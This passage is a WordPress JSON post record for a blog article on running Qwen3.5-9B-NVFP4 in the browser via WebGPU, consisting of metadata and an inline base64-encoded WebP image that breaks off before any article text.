{"id":9078,"date":"2026-07-12T09:36:02","date_gmt":"2026-07-12T12:36:02","guid":{"rendered":"https:\/\/www.mc2devs.com\/?p=9078"},"modified":"2026-07-12T09:36:02","modified_gmt":"2026-07-12T12:36:02","slug":"qwen3-5-9b-nvfp4-via-webgpu-browser","status":"publish","type":"post","link":"https:\/\/www.mc2devs.com\/en\/qwen3-5-9b-nvfp4-via-webgpu-browser\/","title":{"rendered":"Qwen3.5-9B-NVFP4 via WebGPU (Browser)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRrBIAABXRUJQVlA4IKRIAABwKAGdASr2AUoBPjEYikOiIaElJhHqgKAGCU3R6VGaSGMZ2kQtl7eQt3GXX9P1xIn\/X\/mj7XvG\/cj7u\/Bf4j\/kfGV\/U77vhf95\/2vuZ+HHof\/ff4394\/8n8t\/9h\/6f9R7qfzX\/rf7z++30Dfq7\/sf8h\/hP2T+kn\/G\/ar3x\/4T\/mf9L2Gf0D\/B\/9z\/Dfvx81X\/O\/b33g\/5z7jPkD\/t\/9o\/93Yk\/u37Av7n\/\/P2gP+t+23\/G+V\/+rf8X9sP+V8i380\/yP\/x\/1f\/H+AD\/8eoB00\/Lnub\/xv5B\/2fp3PZT49MZdqX8v+7v5L+7cfPAL\/HP5x\/gvyE5WlgD4I\/dr67\/hf79+6X91+QGgDkA\/q5\/t\/zi6GD0T2CPzr\/5P7v+TP06\/3X\/h\/y\/+c\/dL3x\/VH\/Y\/0XwKfy7+u\/7X+6+1b7Pv3W9pX9yQyrEIe\/Lm4vzhhUoN8ucNEs6QErZeSmkF1H3wpG8dv3soWrmBDlimCZB2HiPJXaIIQCLVwNfzRiaygi4fL\/ebsJDh0ygCNhY5QhHLwNpz3YUdzgcv\/eUJrdaP09r0vH+rk693Y+WFkcH66fjZc8\/RVHfXvrXf3csNcdDrU6YJX88VvM\/k5JfESEnvuaVetRtCU+34Gd9BBaNCo0AXuKAeGogS8pa+bql\/+oVCDovzZfyJOH1eUBusBx4n29hEVIHypZqpNX8klVaW5x2BeLtTYvgEFnVlXqJwbujr5rNNGnxNYj7ulRj8gmN7MyuRTwJkz\/agWzT5NDCwt5GV7WNm9gBcJLV0JaepQy4wIimhbtWHn5v+AZ2SHjPW9Oxx8P9e\/jqfluwGSoGx1L7\/LXBgbPrBUOqWZZbr5BgJMU+tXYNJ+T6kTwxu1\/MSrLc+y0SOLRDCcR99D4J2CcTZ7X8MbCmE9vOf+9h9jZ5TGP2Njq4c1zZutajWjKvBqodVHDnvUzLTWhzshkjamdNF+IuqiKRuiw21V+T2y+CjzNUZVnhxj5ixJSuWZH8auPTu1jgGB8Upzg0fH1bbfcurjT0KFqNXSHhG63kYys\/DbgOxJbBURNANOFGSRtwF\/pDAY4M1hPNsBXpur4j2uwEyJoMOUB9Qdoxw3NzEl1TAQkXzUWO5kjEXeqHh2F9Xo5e415Herg+hVf0QJxdNtTvidwPDKXnbWQqFphSYNzqsJmU7hxIaXpiaGCyINXzd4NkqCE+n9rsl7O\/v8g+\/cYinWjEXMpJWZtd5jWRTXtczVo5X5sfLPgEEQ5Jcl4c5mnzUPllJBRn\/T\/JmZraHhNbJH+F+\/NVV\/sQmJ0f3C+uM+n8LZPwOKuLWWZoPzhCrj3cRhjT\/lQ0xuo2lsTOa4HqHMB+T7GWXOqvyPfZnMYq8\/qhiHFu1MUqqQ1KLEzgzOYTiw2YypEWAGip5\/\/IPpzUjYEM6jPa1f6QPpDuWbOjZnXeSMVjXSyrWsyf6HskvkhUkAe5hs0Bf2JB2IRNfIOmQoTJybIfewYuZHldVR\/R\/j4sNQMRA++w3whUbJiNlS4NDaXjiqC1\/lnEM8H\/cSZ610CP9gtgwB2fQBZyOV8F0BaPY20e8Ge\/YnW2MXyTKLKdzpn8fGsQv9v8R2RKSK+PTNpUtLh+Z3DCk0Ly4vYQJ43p0QFAMcNxgF4A\/1DX7Xg4Ha4l\/ThQUr0XGodu3H3x+Vek2L4M9nRzMUGJr0A9\/S2fYFo1+We8jEA64mhP68al9sjqW13FdKe6oABJPK+P\/vYILP9eROMf8af4x411dvvTeANHEk2mqU+J3gBwWn+1weqhBxNLqcGqcXgsA3pGftDgaJA2qb2j6B8tB9oPEvdDngz2GA\/hDBIsIw6YwqHsgDnarsJmpiOuANI46ERH+QPKqScLo9XPKC5Bvt7SXB8pNuPfYuH2y4x95TF3s\/xeL4bdPitp0J6UoxjLzKoLDHMQMbK0Pnint7HzZkorGnzykZ8T1vzFV\/IRx99xS1dRA5X753PMxSU6Fz3WEBwjc0pNhQQdK379kdOjnG76tsLyiP2g76lPzw82AiuN21EdyHTeqm+X7tvL8Ds70M8WRoZnKbaupZEmHhMG+5qbrK0GkjExFQwDs2gpoVhAEshj3AI6r9dsTzuTHubRtlc\/efeD2zYbg317JyIm1JjxuDj62D8ZpdP2G77\/WHK8bwK2Iw3JbnV620nCR1mOD9unu61QPkLIM3NvbI37xKHcgQwGlAnkZ4xFgz7pdv0pN2toplURf5MZysbslbK7qu\/fb4KZ2njIQDWkMLX+uSa2k5nGloGXjkT\/1NysrW1O26ZYSWLjnSCPXq\/uNRwDtPeghYqW4AUi6Jp9BTZe7vv6YeYPl7GB\/VgkG62ZXn0nF3tUV\/\/4C+HVyDACEXhA8Rel0tOJIEbyL1Ii9yySxs6JkJvkGtF+nqXR4Ec2FzfYt+HxbQHVUQzCXGlRKDRPVG1uC9+\/8HrxRjFK+GrZZxbJ4ENV1Ev+DyjI+IlqtTEwHPcJ5qQgqryKqs3rj5YKx04JBDmM+aIEU5RZEkJC\/wFveK8usRkJqKNeCZR8tpIEpe+HapzxGsR1\/+nW6\/Ky3\/0P5\/LvcKQbZRY2PJNKXLiLx0YvqGfr\/jViAPazs0rq838e7fgX9CHIW1s5qRXC0m\/WbtGPkCw0t9ZgkZLMFqhklvy4uNenq4+Fge4p9MyPG1eifBOt0jRqj+tUfh7sqiuSSSe1KcTjOI4xovvb03tMt31HKT+89IPuZTbkpFlAzQbzHuxsaybsfjgeW55eRkeVZFRMp9azPdL8ceUGnOqxqvGDAAUlwj2mV0mUN+Nz9bCn2IEtbD63mR4kIMi8xxnrAFDJT4XIN0oK\/4IdGbUORwChq54rTCA02qT0AMzK6fWX4qMqjYeRrRil8dOh027IclVCfz2L5f\/+vk\/0lRfUmGdyBUJleIXC1UMLTdSSsmUS2tOQnqCctoa8SfSVKszcuoQ28IGKJUjsmQwqN\/ElQTTPLC1Kpps\/D0bONG39Yjz3onvyV\/zgoo8L1iFrNFuG0lkJYAxXNXt7OyuRLe\/DRRoF5z5yoIETfvtHyDt7X\/SJZEuOzY\/WoC+n5BzajwHX2bPMkfFUCk6SXzgjNyGwXUZtRTpNeYZnCKS2AuO9lVJsAFCyhFH8bjzS3VrKYkrhO2768FQfRF0D2VmPb0cv\/LUVwfsDTJwazgxxcLroAP7\/BnfWbec9zn3+EVzc5RaZC53wQq3\/BxUOwrQNKj2J5CeuImWhRBVzo7DfyRlrWP51W+kR1P\/lXphk+mdXK3k7mM3Bbdu7c9nhKyg6T6mVkO7RjCZqUH4q9X1TypkNZj8CKQ06mGJGtipG\/L\/02HGPE0jZ4zBIeeUZTlRflIJkkkIZVRsv5lz\/hEOUMsAypIvjkfNwY3mjr+eLNVppdHKpH57604K8iJgFVrbWwapwC3wbNTjJqEkZOK7Tm8hcNfp8zvxIUiMyFInebLa+SER\/vcXHHOhERTIT9NunE+L9mMMK\/qu3XiWAziydkb7ygwFXyTi9QibEKmo9aj9HfnTJQeRdXJwAeofntesrufDoEq+OjOfLlGmMs59VT7DYJMhV7aHXHT\/yuHBWmPVq0NLfJrPPbNonY+xeHKFf4iYkgHEupwlm32bbdflpfaTn07DIJcZ3+HG34votPzTIbldty0YYKQ2iH1K4wG\/e6jRNxARlvxqSRMCAgXnDVsHIWxRHaSxBVc20RdIyInY8fFY1mCxcnC3AfF2gTIw0BwBu37Xx+4D\/D0xuIeUNs\/1tAIJTIQY1bfpRU4LSTXeescqiiv09rWVvqCFOknwJvU2XatQl7nObZvN\/\/XC203OUasGQQ+EtzBeEyRCroQWAq+X+l6P5i6Gx8fIkcbg2rMGPP6TqDRW8rpivv6l0p6Ktdi\/FMQT4FnYO4fKxFgemrE3NNdV8QoKqMzCXKnYKSNKVM1dYYtf7woHYHtm3eJUgg99ww58Tpc3j4YTimgTUA2xwP6TX0nn1w7xThi7WSdcFBilvBBS2wZAvyK9hr9hmu8Y9G5hgqfz7ieFLm6rKvLMdus0ziDV5sVVRkqYpBAhQeIOQSf6VBX2DK8ov\/L4+XOY3RoqlxzCpbZCQfUO4WyvRupE5w4Qu6S3Zbbe+ysxHUp4FQjHnTT\/dmByo3TMkWymclSp5eF89o2g7n399vBX6sSNRL0wNxw2r9y3s3HKHfqyC9jw13N3QcYspgmbTr3iMkqWpGTOINpbOvG0ojjHSj7IG5HO3YsVmqSXsSYsH5P0lQl2ze3WggMXftZSJdV2d9f6Rkzq88Tzb7e2yx2R6YsxPgEVPWUtvTWFeQckhLV1ZEW6l2xuVcxTlI3K7zcbRf4Ul8FNK61cmdTC3YX2H+E\/ZoVzwVC2wv799fsTtR9nb9LdObIDDFLUPBehp8Mo4oKWt\/GCUU6d9W5FNmBFlaFk2Go4vU4cC6rtjaaueTF+WRy7DBxZrSugxOaq9Te9woNftAqh2hYP72oXwPxLJObPrwb6MTRBJMaLP8Y5ALTf7yBxnJKwGgfeg3\/WXKM\/EAkiQPNLZ908jFnoCnVllpsLaEJybPycpk6\/Xlvq0qeiyCIout4YXdBv6N+4SzPherY0K1x5ONmLUWUwwEQR8SBcMCUjaRWqsABa8sLNtA6wlEketpttJDYdWFkuJMKnDp90QjOcbMmsBFLkNsYUG9zVwBYYR\/9w2MXy+WonXrSJ5WQfjLGIXCozmTXJx\/i2nTcDVwfNJ4tC37KXd5RSnI5XHFZPGJxJQahRNapE3LGskPvEOT0XjaWRmNYVwRYm2ZNIjfD0Nr8MS3B0M1fhR38gsVNk1eDV5dvu2RAad75kvSpkBQ\/LcgRETDiR7CIKqSKKYq0zycqGT0ijegakZTtZZSPjZbUhjWLUrJXgPpNGQR0vi5ePy1uSBl72Ei\/KnvnKVUSb3Zj6Ui4+wcRNFtXxupVCW0JHs\/WDbVjdkClZ\/LrLzCfMgVlCpe453Slzey8xoHCeENkD7Z+8m8kG4t1WtkTD8SEP2ODo+5mTlEmoBTeboi3Je71+PLt\/5cFMyRDu+i7gU+wO5zSCN5MH4tdlJIuDZK1cDdHK92ZRlC+2y9gI0\/3ufoF6G77iCrTTp4blmpNn53MpmyAAXuRno9qjMS\/\/TtCMBY5mQVwdYKSoJbo4UocaDr8hv3w5dOiDxH1I+D4STFk+n6zxGK+k9jQsKZspGjz8zZ8HntVGGsg3blU2h8Mb1WNbWRW13fwJ\/LEduihyGHm7\/ezgqTeEc4198tABdIXSZs+becgYWAs6hNtO2AWqttvFgF9KRLyUP133VFbdshJKgapo1weiU739g91lkSXxbVqtM6+dg8e1NyXecmfLo52N6a32EnicFB3SS2bF\/9ygbslEtk3Ixj71Fg4f\/MZhZN1kFsIiM41kP8V\/MgQduqxnCVVofWereVyeBcOrQDl0NEjrC8SHo1hsq8SbX2COC6mSal88wXkEavG9gf0mGIoN+ytN4jnwg+WGq\/iaG+06bB3+qO9wrVcSGpd4Wx6MPqsuRx4Kb5ZlzfWr3B1bUzyrcVaO+wSn1DcFNz8XpuSDEpWeOrvAufc2ghsLVDbJalHb1HAT5Rd+mKQi5dDGz0SZooLMNj00gUBTP5LpRL8tjZHfKcmRNpR1hXSbXVcFH\/IS7GjQXe1R6UrMlOT1f9xzUNInEea5DvVmGLQUGf9qeD4SiYHnUW2mHEUcYeC\/VGcWJGSe3cVweuzfYLjcqDIWDej7dCu3qRTw3VnRYbSqGlFy4er66S7mY+yf+iDYNd6v5Qj0f+ebAzl1AbhnG0E7f830xu7IqwoWPkSXsDx2iWiqcVe0OW2064ntYEXzVmEfW6blIRc95vAFEPAa7w3YNsKTYin9OkEylqocYQUWsycKlz0HI9dd0Yf72qdvigaQ154MIuTMq3\/FuJDk3YynzZmDj4kjgKob5I5DHwSimVLKIwNlcFbB7TH8HGQBuh\/ASRMgljf+PLMEJWQzCP1vo1Ziy73NSGrVRV6bRqp5VRjKinEreUBQNvVZV6nBLCQdGkLiLfK\/2Zzjkrl76fn5IJ4fHRV6NFH7VwrpE\/HvQs\/lwyxcBXGxPaAlCb5HO9JajNSTfMybvT+vYHOURE5hlYLF4kxS6Ec\/3omy72yenH\/aOCWs8M9vWV\/mQO0HF5PMH0S2+NOvvU2cviI2Lj\/MpIOsx8v3gCY6le\/dFq+b\/V3axpO8mlTiOPRikjDWK9d1H1jrjx1Dp7GkZbPbQ8Yt2lk2gx0gWfIlI\/3yqlV17r5dfrshBujs29oKJWX6lcCbR\/RdFc\/e2ZGDw6kjVAI32ifkTpzGm7lHLM27w7DHfBZR29EbdIJsCfsfBeGe\/pBqfLm0zboqKJmYNNvwI0zteFl6KPth0IkTnvg+mj2k+odXypdM+OLNYfFpxsd1Sc6gsTh0oF\/3wgU6bFtqu0PBIYG\/bQupgeNnhphx73gEN+SY14JVegQFCQG3UJqeoFiIqRi4Z7NWXMx\/DcmTMEThACqVvlR3vWg2Thg3JItOM8tI54Pe+SeioHgecvDWLyg5lWqjPWQP7Mwdicsvn9c0JZCvOduNBeRjOWZmBY6+5HZnntcU7h5XFm83putKXXKTD6gdcyEGyxy0NoCsl0sjotdReRmyHuJ28laTZhN4nRvLyKal8i+6H19ewEzqODWEpUpLGbyba1O+ibFr0yOSJOnONT2eRYXrsxcN16zakmhu07vsail+oACk3tNKHpgYvXYGJResLvGVq0hHR75J7PeV3DTX93gr+dVqHtrwwyPcb6t5GFkMKq2mLVjvwNzZFjIhErX789sIAMdvhtgXVFsZ9bIFEDy0NPPIMJi66TeyGl8Dmtk5xjfQxTJigcb8NAgVWmW9Gxfcmg\/zuuKwOGAz8IKwMeJYLYXR0tpdqe9eaXhTkx0m4PNMkyvFZ1dHLLiWURtz4d0uEZu1rgjXBHTZ0oyAKtxNqbOGOgbZTepEKSSlY4e0ogMHFQFz1mj+r0WOAcK5ouPjYGiUklyOY\/ZvWUHYL\/vpjkzcSRnOWm4Jsuid5OJfEDnOIJjZ1tvK7YMLgSkCCvKIIX61TM2\/jzfbQMMQNrOzLzleZvdzYxxiRTJdcBmqPjOCh\/cVeRIr986iOCoqMN\/NVCR+CtMybcwxrU61SOo2+A4WPnEIsqx3EUyR8m\/ibRTrtIM1wvk1z14i4e8wwCmH2PyqWyxthRbWJA\/EF\/d7GHw+23pUDesrDc8EH6grG1KGxN+idZg4fuxCU4FL2e086ibWTFCquxGZ\/VPZHRSdHCYV5OBZuE3gA+3m4U8475uQSsYxUrnbRL7mToEnuUbtTnt6W76NdNqMf8Kdedfe6E4HktgRTblqCUOAwaSrN7tcNOjQg9NgseSOoPSCt26mGHTFvmM6WvbaZpkJr9eQhIWnW+Dk8WxH6JlRk5WisU+P\/c3lfxG2xW5fueG\/x4m8z\/48Rop2oK4Xb5qYRnN4xbWzlrFJL3draXiXiisAaRbKUog3TkPR+NPrEEHdLkTu3w18FE7nqK5f9EV6SPDlVNKw2fsLUu5b0vqFBOuq8IOdQvetmMhKWiPg4q9U05J2DIsiZsx6as4xQY+oHlSq0mdQowzIujA5iTVHofmYWmoK\/g4RV\/vtrRheVwHk6AjPgQsNfLvdCiyp29CnMGtSrDpD61qgC3oOGo5mMzZwxdA+XJZ4T1zaPiUg1jn4JZUzQL2NVRN0jkTeIckjCHvdjtbxCnq5G5vn11qGLbsh2Gx9EC3XdEYtbwk6Yoo14WfoKCESuyGRBQwfcBCPwXlVCQLzdjQYbqsRwrDuOpgZWatrsweNYxVVtWlxCXBJCaOBb8kRoDZMM8cJC\/KptYdj1hOENB\/Y+6eXb\/v\/Tt6SNtpthg\/i2Xknzehsvjg3efLGlP281ClyWIGibxfPAWqveLSmkR9Dgq2Li4OEBli8I98ukA5d8X13Gv87ha2SjZ36ioqgk1QnmSK0wOmcm3Off1keVhxPJUm9NBlIM4s+xSNPpyqoARzDDMvreyPHNxc\/7tR53MM1VTSdXV0jldjqMSPkjfVVUvSe7zYFBP5HLwCcOCVJ8LbKd9O4apJjzQMsDS+8gEKu4c1ALu18PamEBKZJ0t1C42WTbA6mRdviks35RcGll\/uwYJ0KszDcgiB+kim2ReOzQAIAkV1KW2PD4HC2rf1Zd3C2fkye2M2ZhchL\/n43QIWnV1xsjqMhgg7oR5q5L3Kx1nViVpat\/GEIkq806hY3sZgaDVjFg1V8do30mPWMRZ7Ud94ScXnIt+KOTF8r1HHi91HKFc5KaN0yzVabzDP8VAElN6ckV57weYy1M\/ZZIlWk1Hj0OoBOA8Fn\/u4wLhOyY+0aQI0mQd6bqXPtW9XqKcx\/og6gfNTqrfbqgoYVEc8eTjz8w5gpqgYZAl8RgSLFystRMurtsExoKMl2krPpoD2x0T+blQjKOYvb5z3\/uL594KWbtCPLVwDwoy4f20g1e8qp5LI84v68+nvr4HK2nnOPwXRJibNBA7krkPFlBWVUo3pgSD+1U+7d2mjaOEb\/dyqPVxoSFMa3YHv1Wfaai5q7zwSMmvlYwlpTxXrLaLoFhOJaDz4TNCS61ykMUl6i+xBoOwosFOqnjH\/9OZSFJemohSS9+gI9JdRr8MSdNGB1Ih+WYCk8I1IELmtHIw2+D9mvN0wlFKoXr\/\/wm7kolVcPHFxfEKSccQcMKgn0++dNDoLiRtxHreQfQPYI7j\/ib5KRNENSD8JIZoysFVTNqWQeYO\/CHXesdnopotyQ8emW\/\/9nYpc8iMi+ytn8ZYXIbuiKw\/mGZ62WZKsE9u4Kogz8KVlZxqjI\/f7xCC\/y+A7DRgJYu+2Xj1OOEQXIeorxPAmVunzKERA\/\/h7WIRsCT98eMtfEcohqE+p9pj9Ys+q7vq3uzG1gCqq7HVInJ1iw4VJRG\/tKCKUgCnPlHnnig7HJXMK92aVfSD75ONWIuk\/BhVRqf654jfD\/PvKkifb5eUto1fzOWRG\/Iiir\/yJNTEQl4KSEBEFRrswBNbquf5kIy2dzPiC2+kRDiXFj0DbhZXakGvX0ePUTSiNpyYfNq5E0p8A8mzQegIBNMx\/A\/FQhu8XF+7rBv1R+Bmw9PodhDdMD3QFoCacDXFq84RmcIWLc9x5E1itb1ZXJFuCz0xf\/eXbEN8bTarOX8ebBq0lrtHZDIkLSXKL9YlOGhrz27UGUSOgAfiOFH\/G3tPuioSAtFFJZOT6CWhprQMDba3dmLMftpLBsRScQSUU09C5SarezMAW23RuEWVqzd5V+KUbHPzdKpRoLGT\/tbD9lt\/6d2XJbXYAuzNPHtOod+erZYhtGeZ+V2MvDb3uqE9H4Op5d8hkF8JHipB7g+GJHH4W8RH+19QK52SUufQcuMTY5l900E8kL8hN5w5fFe86qtlHucborGj\/ExrQTUorJzMOp\/wkh6ypYC39+\/MkNGFJrCNTkcsTk2wjvOa4BF9UA4UxHQ1hB3JsT9zWWdMYpLS+yYwWnRACITHEuKqaZ9sBHtCjo0Ah0Grl+6P4NF94rM6nc4F9\/Mmm4xxsoObK\/Smepc7oHkDr2NFAd0ocExbwYtRiC40L519+2e4vQEUvY9JYG8jLuN5EVmraG++30mSs7ljV\/vl+FVQaWkQdh5gLneWlST8BcWI6dDfFWsOTLTWUCentTwnwLBwmzAfQXI8OmdWcac4GwyJIT3WslHhbLNrgN1exjupn6u2L8WrCIiBzNSb6866u3\/+LR77z0upzl8+xP6T2fngvk5gfmZiMQY9lvedom1VkJ6nmm38SL9tOjhD519on1cccmdOcnXnBa92ZtpG+03mWuqYr9J+NX2zejk+I4qcG9Fi6OPxVkfc2n44trusDA5hRkeHsdSYU4lwkIfkiKKM0MS3nscaF3um309I3KfaGnRivF4wwCuZ+tVYMs+ER3iL6FHVcIxWNgEhrY1tQV6OyoAXT922Ei2clhauc+psXLfbgx19yZEMj3\/bULKloqH96yB3rydZE\/cnGNAfyRjnkA0QS5VHkYgCQ5AKhMJ4ZtwIgzJI8LejQr\/UgN3wrP8qjOa\/mDtvzfwAjOW+CEdHC\/TrfVsvsVF1tzwxZbdfhQasj\/p3Sq3cnk8nEindkb1aIhUmAobwFAW8\/SB5dQ9l0lqIpILR4KKFYHJIvcB5dzRFcZX7+xtY5L\/BXhDVVULZlmlFAq3Zcx6i00AgpdJhavT9cVq+vzFKoQ6w3V05Q\/ySwgP4HcgJAk+UIG9O5rDJX\/IOldAR2WJs\/CB8CpCs6I7JoBbrH7IdyesyDqPNk2E1NsJ0gsyNjXGzCiBsiaQdoOm0SHNYUnA1p0dbbCwZNdLkwdpgG0uiR5sb8endxogUB\/oUXYbgPhUso84pfGay3OFGdWzvWR9fV6m8f10hT+gD7MclMKCyiLlkDXPkUNi5MFEVVAOrLXK6zs6kmfVmOBWXrYJ4qMSQe2XxgVdX5DpkrpY9KBiy5BtS9PTAlqVLE7+oSVlYZZXtMqLu1DLNqxB4FkwBQuU7SMR7dHqGUUohZkbZJZfVcFDUnCxpkxZIj1YepYrEI2cYfg40G6rFnr5\/aKSKvIjgkpleyXQvE\/SaQV71rDWqJplHNdSsBOZUEuXWLsoYGuK6+w3FzD+jR+ER8LhmmGEcy\/oerz2NrnaliaQJqMLsSqm05aCowar6ChIFlLR1UUVRXRbwgDjoL2sRh303l6G2bb5dL98\/+4lU09d0QHin5tqwaseN8xKGcSXJ6X2Gp5fiTcmQzbV8np2U3L3CzITSkPFogZnAW7ijBAAykhX9ZiWgtCp4vZNSYJHUKBGkiQ2FrYpP6BCOFWtAqW\/MzGuSfxRpXkuXeZ9IQf39OmEIFM0DQw1jGhRozLVyfTIXk+KO\/0p6TKvtrAOXt\/O5DUk2On6DI2nEM0JcifHBq38QrPFCQl+7FvGWM9KBRrHlITcOaEMNTUH2Iecy2ml\/dGLWc51nRboQo9Tmk43xZDoOftQmDGCkQKBfLI\/GDWVCmNcAcDGBA1OFo68lioOZ6QId8JnyalxChEstot7Fjnfstu97h8ansrwT3Pxgp9RDUepsrcOnoLWklP\/QFdLDYo8BAdMcojGMsAxoDQ7t7LkFRoOLI8nVxgD3XlRqcUqt6nnuSyEVfmPbeSLXc6ubHT4ex+QxuGgiLzXDT5lAYjTuQlpq3RS8cCOFd19nKi\/kKWOnRodfRVdp7mHDcyFfeFbBEAj8fQLfgtdLhJSQx7CBAqDH2M4KrUfehJOnQN5Jq4lXf0XXOgxIl2SLKyJohQy5jSdMfyir84WMGPAbkW1Yt8ZIWiFEaCdzQruUjkQpH1jP0lqITbR2YZdGsn+ofKOa1GLupB2VYhYct3c\/0uf7gymLB0+oNtIP8\/3Gfq\/z5e5d\/hjbo5ThaVlTZp8JVCQAYl\/EBbb4Hf7F1cmVxr\/jWpI8betaiohB5Yaljo0TQTtmkl7tHa42vsVL9vDtf4HSSB3reZ3jyFXxjum6eQQGTewXPpcBh\/Ocw1Qv4jKW6sp4WFCHt2xI2iTvZPxFbTBRX+jJXv0CEmkRdTKwiN9x2iWJA1tMFx3k0qkA5lbT8H87BFFdbFKBViYzONHr3QIy7NsWz0dOhlsHHw3b9RTArX7wmxtKhzptzR0KD4ydieXLgLjuxLyTwiQqRQsVDGB8MlNBJaZrCtX22HNN76PgqSFNThFednrNpwNrxoi6bwObz+MBLwDm78FFbW9jXIRUrz7BirkjJm2YYUZhIyjonB5M89dgfU\/Dc9JnnBhtvLrDQtD7cneSZWtKcrIDjKMCnrUeFIQ5ZRiuEV95Q6Dn+G4A7PwNoVEdRnABZ5QskK4MkM04a1MXwQN+78wFlJQU+y2bEQJefL2MAS1g4IE\/RogibvcYgIaunH+l2YYJvIulubkcdRpDGU\/11FZGk7OoYBJqYlsHdEFdQJ2qJ5xbw4ZpAQkz3l0ADZWWzHAsjuUAajeGgRAMe+YopS\/cYMXtuSs7SXWmIgb0fTgn3zPKh7sRgVrtLLi46idq74d+ZhAVCAm05+HC9cStvZRMHuCj8OVYWEae\/PMaW6WqX0JDqxqE3eWDp5hvb7llfEk0i8LCZss6R1VJldctsfHKBe63JJ0j4lkmGMdkqBPUQ\/zYnra9h9DkQ7QhlgDw\/\/jZ6QApreVX2+aAdNVyNwsJCRGcHWPERnXkeqoIJvEA9WOdBkOPHEtvDiZ\/jxRilYH52CdcAxuUa5RiXlJn7xaZ5l5rgyYOwOmzPezekSq7l3EERMnwKH9OeACluZe6DYP8Er\/zUyxVFj9zPpeyyNPv2OsNFOnjJYz97lrKYBz8\/35LsNerJWgzRzSDqOy5HXWpRbhSyZHeScm0+scgzIYQ4BAWVeZXsJQ5xSgTHWoJ0TO496UOp+NMfmYUt2vS40ab+Ibd1WvHc3IR\/ngwM6L13BN3kQ\/xlZ7tzSJDcYOv+ABqHK27pjPSdBOpqEgEUBgLMFDGDjMm4zqFwioQ9X5FCCITAonsGAmXIuQZx04qtVgxpcSUgpoza\/3AGLWZL2FFaNhSBmDlwlIoJ54M0VUjWHdVnETYXHLFC52uEVseEfRkp644nKMi4S6AdONyjYjbz\/SzDDvlxkJk23ptQrs0tAaDCnqDKOPRaQA3NbEW0HNw2yjrF2x+E0b2k1\/OpErnuoSwxBNwvB8lYJByMsTNS++f+7Ui7Ctb3eWwFVDuH1gylpSXlYtNk6Uh1uPtlk+MjDhHx3pr96q2PdM5eWXvQn7y5OUqaiVMAwuD40EOm6V3DubbGUEHzrE1P7ZAazkACk4aZRy7oFQ6jGFfrMQA+PK+2I2\/s1JWpt+EGJ\/NT78\/EHhQP07XFEDiJIaasC1cDnYv6Eq6rCaa0E6hZf79qtXWMspDLMkbc2T2+2EE8offyfiUQEibCOIwral0jIlQg4doBJovLIpQ3\/g0AKEXfSOfyRmD3LGOK70j4I2OzdUWG4qANU\/UnE6WVGWX5JG3g1GPJrBXfrbAuDNu06DS5mZk3Dpf7VN+qOHFwUtipr7aqGMyaec\/JabymBt4X2wZbQzwajGawu3bK1kGA7fr3Jm2AUXr4uGubMcNAkHLn5eVSMLGtZIQ0JS8YnvqP5isefEDVYLP8APHO7gvL18z49QdBM\/tRSIjreh708VfF8Q0n0K2yp3XPIvEsD8K22QWnE3ptu4dY8sQrHaDx5C3uJKy9GBqYami7UsqvruWQKeZgbYlELKA3Rdc8JT7DtcuOYIJ2krpW1sc5AIxtAenj29GzZGLtJZ6Ou\/J8BX9\/GogQ+lx1uCy9Zq9PaPVR\/O6n+FqsL5HYy6tZiTziSzHIwU2t67ywZmIH2agyH6r3g\/MK5Dio2SAM0BX3sD4kHFTPoSIfWjTniYFMTX10nuquvWFN+\/U2jygm7bv8b6AgQpewVgbcNkHhiB2DOxGF\/cVIctnPqObIfWQwLYWD8HISf7cR5XHLn51\/KHkGBQLBppyPsz3SW24s4+x8yvv3kFoQhLQuDXMdcB0T5\/+oyyB0IyXwJxlW0rU1nY3c16DBNqtc41Ol4fPx0m2hKq1YXFYZf4CfMZKFnVRCo6DNL79CKn0JDWHgYkbzjnJJRdssL9VCMaIj0d\/ck9jigun9yOL32ds545uSdRMa3A8n5HJAhBURIuGEvD0xjCbf8S+MLK\/e4AGyoyDOHwJKxWdxg8nNOqUmjJ10BwU3Q2LutajNcclqnaznblvUMc3PTnohybGMIVjLQMUHTnS2uItsusHCWrbDESdcxDZRncsdQnQl1F2yUYOjyaa93ZFQGYKH3inGax39gi7r1ZShZaLQJKZ05doIiroG8NxsGghF20UlpP1l9VXlUCy748K3wznMsPpr9xJ1Jo\/8H3\/mvNHYGaQzY5UQ\/aSZdNxE98XgWKZ+Lqs7D51Sv+j\/LkoWV8Ivsha6Q\/VAfpvGuUtbToq9LwGMmPmdc3D8Eb86uqMuM9sMJDzxAaDuV1tvlDfC6Qijx4uVDfQg86rn7MUrAqJm5nTdPxx1t+feOTY2kFd+dT8jzHNENIeMzy86WL3PTH52urY2a6+GBIxHA88btFL6f5lpS8yD\/lIo1cotTEbo5X5YpSaCeg8v7jfPA1KuDcbFzRScmVlFqRORpEC9sgs3IaYmBJBwASg48m+vfQiztRC2FAGTILDrD+v4cWHJ12pVMZ4lQ\/\/u+Ws97EZE+OZ091tt55bHEb9VvFlg7SdV+daD641Wdjp7Tpiqf6ZHxc8orY4cLSGMG7dSNkisQVhYOIzq\/uIUSuwy453TcBQTnC6nEAKrJ4JsK4L5LnbwR\/1LKVjqYTj2\/Bt51jVW6PByrE+ZvnH6v\/Lh+vJdopyE+axwxo64V9OsAkfuoZFQ9aMZ5n1yEzm8zDgI\/o\/EO\/dn2gXtu1mUzRSNPHXS8VhP+8eL3KWx09vzEi+hJT+R\/8KGqN2HGiakbMqcw1f0s3\/XFddoEl3pkX3yJz+s+t36ERONHKH1YYFntbxSbbP8WhjPdTzG66T6FdkvkgJIXNta4iSYc1gscDUprG\/NqxspqjMwWQfYvgQT6Dc4gpbc1+DIrpRQELF+THrc3Tdwret1wok+W\/snzSrKOhkAfNl6\/tKFWjcLS44RDFqd94d93qd\/0rCsxUNlWl6EFc2bf6Obo+td5EdemXMluzIX1rMMQQ1QIhbLSOSVpqwqj\/raqzLoKnLJVdRUFOmK4uf2EUeWWwXrVyHyv5yfMfiuiuxfKsOO3xX2btG+J4wp+iuwvrqFxPgAJ1D3O+hrpFb\/SiEkA4\/OVJJy33DGrt7qhFcpHFJqf\/e6fphByvWcVvYvzvjSnszmzbzadixAGMDriFCXZmFbCvxgPuGmcdDxU51oQ7iHM4+ORnyU49IAYdHKRb7SO\/\/opKwdImKGOMbDTWC9hbPETZuZAg1kYSNWIDCvL1cZnV\/K+L75W2sDuo7HI+fBq93g1dBGo0\/0AYyFFg08YrZvVM+ZycngJ6JYwgUVSNjSDilQ\/CZdrtz0B+mImwhdWulz9odm3\/nbdgeWqWgqy3SuFAGfnDWUL0rejTWj4\/mlEneTO6AwB9POX2nRsaxtTUKc+kFmALdeOk4